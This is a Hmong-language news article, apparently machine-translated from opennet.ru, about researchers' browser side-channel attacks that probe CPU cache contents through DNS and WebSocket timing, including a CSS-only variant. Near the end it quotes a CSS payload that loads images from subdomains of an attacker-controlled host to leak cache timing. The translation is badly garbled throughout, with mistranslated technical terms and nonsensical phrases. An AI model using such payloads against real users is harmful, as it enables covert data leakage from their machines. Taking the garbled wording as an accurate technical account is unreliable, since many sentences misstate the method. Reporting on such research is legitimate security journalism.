CPU cache extraction nres siv nyob rau hauv lub web browser tsis muaj JavaScript

Ib pab neeg tshawb fawb los ntawm ntau lub tebchaws Asmeskas, Israeli thiab Australian tau tsim peb qhov kev tawm tsam uas khiav ntawm lub vev xaib browser kom rho tawm cov ntaub ntawv hais txog cov ntsiab lus ntawm cov txheej txheem cache. Ib txoj hauv kev ua haujlwm hauv browsers yam tsis muaj JavaScript, thiab lwm ob txoj kev hla dhau txoj kev tiv thaiv sab-channel, suav nrog cov siv hauv Tor browser thiab DeterFox. Cov cai rau kev qhia txog kev tawm tsam, nrog rau cov khoom siv server tsim nyog rau kev tawm tsam, tau tshaj tawm ntawm GitHub.

Txhawm rau txheeb xyuas cov ntsiab lus ntawm lub cache, txhua qhov kev tawm tsam siv Prime + Probe txoj kev, uas suav nrog kev sau cov cache nrog cov txheej txheem ntawm qhov tseem ceeb thiab kuaj xyuas cov kev hloov pauv los ntawm kev ntsuas lub sijhawm nkag mus rau lawv thaum rov ua dua. Txhawm rau hla cov txheej txheem kev nyab xeeb tam sim no nyob rau hauv browsers uas cuam tshuam nrog lub sijhawm ntsuas qhov tseeb, hauv ob txoj kev xaiv, kev thov rov hais dua yog ua rau DNS lossis WebSocket server tswj los ntawm tus neeg tawm tsam, uas khaws cov ntaub ntawv ntawm lub sijhawm thov tau txais. Nyob rau hauv ib lub embodiment, ib tug ruaj DNS teb lub sij hawm yog siv raws li lub sij hawm siv.

Kev ntsuas tau siv cov DNS sab nraud lossis WebSocket servers, siv cov txheej txheem kev faib tawm raws li kev kawm tshuab, tau txaus los kwv yees cov txiaj ntsig nrog qhov tseeb txog li 98% hauv qhov zoo tshaj plaws scenario (nruab nrab 80-90%). Cov kev tawm tsam tau raug sim ntawm ntau lub platform kho vajtse (Intel, AMD Ryzen, Apple M1, Samsung Exynos) thiab tau ua pov thawj tias yog universal.

CPU cache extraction nres siv nyob rau hauv lub web browser tsis muaj JavaScript

Thawj qhov sib txawv ntawm DNS Racing nres siv qhov kev siv classic ntawm Prime + Probe txoj kev siv JavaScript arrays. Qhov sib txawv npau taws mus rau kev siv lub sijhawm sab nraud DNS-raws li lub sijhawm thiab tus neeg ua haujlwm tsis txaus ntseeg, uas tau tshwm sim thaum muaj kev sim ua kom thauj cov duab los ntawm qhov tsis muaj npe. Ib lub sijhawm sab nraud tso cai rau Prime + Kev Tshawb Fawb nres ntawm cov browsers uas txwv lossis cuam tshuam tag nrho nkag mus rau JavaScript timers.

Rau ib tus DNS neeg rau zaub mov nyob rau tib lub Ethernet network, qhov tseeb ntawm lub sijhawm kwv yees kwv yees li 2 ms, uas txaus los ua qhov kev tawm tsam sab nraud (rau kev sib piv, qhov tseeb ntawm tus qauv JavaScript timer hauv Tor Browser yog txo rau 100 ms). Rau qhov kev tawm tsam, kev tswj hwm ntawm DNS server tsis tas yuav tsum tau, txij li lub sijhawm ua haujlwm ntawm kev ua haujlwm raug xaiv kom lub sijhawm teb los ntawm DNS ua haujlwm raws li kev kos npe ntawm kev ua tiav ntawm daim tshev ua ntej (nyob ntawm seb tus neeg ua haujlwm yuam kev puas tau tshwm sim. ua ntej los yog tom qab, qhov xaus yog kos txog qhov ceev ntawm kev kuaj xyuas nrog lub cache).

Txoj kev tawm tsam thib ob, "Txoj hlua thiab Sock", lub hom phiaj los hla cov txheej txheem kev nyab xeeb uas txwv tsis pub siv cov arrays qis hauv JavaScript. Hloov chaw ntawm arrays, hlua thiab thom khwm siv cov kev ua haujlwm ntawm cov hlua loj heev, qhov loj ntawm qhov uas tau xaiv kom qhov sib txawv ntawm tag nrho LLC cache (Lub xeem theem cache). Tom ntej no, siv lub indexOf() muaj nuj nqi, ib tug me me substring yog tshawb nyob rau hauv txoj hlua, uas yog pib tsis nyob rau hauv lub qhov chaw hlua, i.e. qhov kev tshawb nrhiav ua rau iterating hla tag nrho cov hlua. Txij li cov kab loj sib raug rau qhov loj ntawm LLC cache, kev luam theej duab tso cai rau koj los ua haujlwm cache check yam tsis muaj kev tswj xyuas cov arrays. Txhawm rau ntsuas qhov qeeb, hloov DNS, hu rau WebSocket server tswj los ntawm tus neeg tawm tsam - ua ntej thiab tom qab kev tshawb nrhiav tiav, cov lus nug raug xa mus rau hauv kab, raws li tus neeg rau zaub mov suav qhov ncua sijhawm siv los txheeb xyuas cov cache. cov ntsiab lus.

Qhov thib peb variant ntawm "CSS PP0" nres yog siv los ntawm HTML thiab CSS, thiab tuaj yeem ua haujlwm hauv browsers nrog JavaScript tsis taus. Txoj kev zoo ib yam li "String and Sock", tab sis tsis khi rau JavaScript. Thaum lub sij hawm tawm tsam, ib txheej ntawm CSS selectors yog tsim los ntawm kev tshawb nrhiav los ntawm daim npog qhov ncauj. Thawj txoj hlua loj uas sau lub cache yog tsim los ntawm kev tsim ib daim ntawv div nrog lub npe loj heev. Sab hauv muaj ib txheej ntawm lwm cov divs nrog lawv tus kheej cov cim. Txhua yam ntawm cov nested divs muaj nws tus kheej style nrog ib tug selector uas nrhiav rau ib tug substring. Thaum rendering ib nplooj ntawv, tus browser thawj zaug sim ua cov divs sab hauv, uas ua rau kev tshawb nrhiav haujlwm ntawm kab loj. Kev tshawb nrhiav yog ua los ntawm kev txhob txwm tshaj tawm lub npog ntsej muag thiab ua rau iterating hla tag nrho cov kab, tom qab ntawd qhov "tsis yog" tshwm sim thiab sim ua kom thauj cov duab keeb kwm yav dhau los hais txog qhov tsis sib xws: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Subdomains tau txais kev pabcuam los ntawm tus attacker's DNS server, uas tuaj yeem ntsuas qhov qeeb hauv kev txais kev thov. DNS server teeb meem NXDOMAIN rau txhua qhov kev thov thiab khaws ib lub cav ntawm lub sijhawm thov. Raws li qhov tshwm sim ntawm kev ua cov txheej txheem divs, tus neeg tua neeg lub DNS server tau txais kev thov ntau, qhov kev ncua ntawm qhov cuam tshuam nrog cov txiaj ntsig ntawm kev tshuaj xyuas cov ntsiab lus cache.

CPU cache extraction nres siv nyob rau hauv lub web browser tsis muaj JavaScript


Tau qhov twg los: opennet.ru

Ntxiv ib saib